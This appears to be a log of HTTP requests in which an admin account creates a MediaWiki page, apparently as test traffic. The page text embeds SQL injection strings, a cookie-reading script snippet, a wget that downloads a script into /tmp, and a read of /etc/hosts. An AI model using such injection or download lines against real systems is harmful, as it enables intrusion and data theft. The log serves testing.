{"method": "GET", "target": "/index.php?title=Special:PrefixIndex&prefix=powershell&namespace=0", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Log&user=Admin&page=Powershell+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListFiles&ilsearch=powershell", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:FileDuplicateSearch&filename=Pic+powershell.png", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:LinkSearch&target=example.com%2Fpowershell", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListUsers&username=powershell", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=po&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1670", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Ls_-la_notes&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=71840703f816e931d4dcc6d77061a3d66af2267d%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 317", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Ls_-la_notes&section=&sectiontitle=&summary=Notes+on+ls+-la%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=7b0caca38f13720bae380f2dd35a43a0fa43c9b7&token=71840703f816e931d4dcc6d77061a3d66af2267d%2B%5C"}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3217", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAvdrTidZqfABYUKj", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on ls -la, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpPreview\"\r\n\r\nShow preview\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n71840703f816e931d4dcc6d77061a3d66af2267d+\\\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1720", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Ls_-la_notes&section=&sectiontitle=&summary=Notes+on+ls+-la%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=71840703f816e931d4dcc6d77061a3d66af2267d%2B%5C"}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3325", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhJslavTCvR7BPWnI", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on ls -la, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpDiff\"\r\n\r\nShow changes\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n71840703f816e931d4dcc6d77061a3d66af2267d+\\\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\npreview\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI--\r\n"}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3319", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZQBAD49UylBGXkuE", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on ls -la, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n71840703f816e931d4dcc6d77061a3d66af2267d+\\\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ndiff\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE--\r\n"}
{"method": "GET", "target": "/wiki/Ls_-la_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; my_wikiPostEditRevision10=created; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": ""}
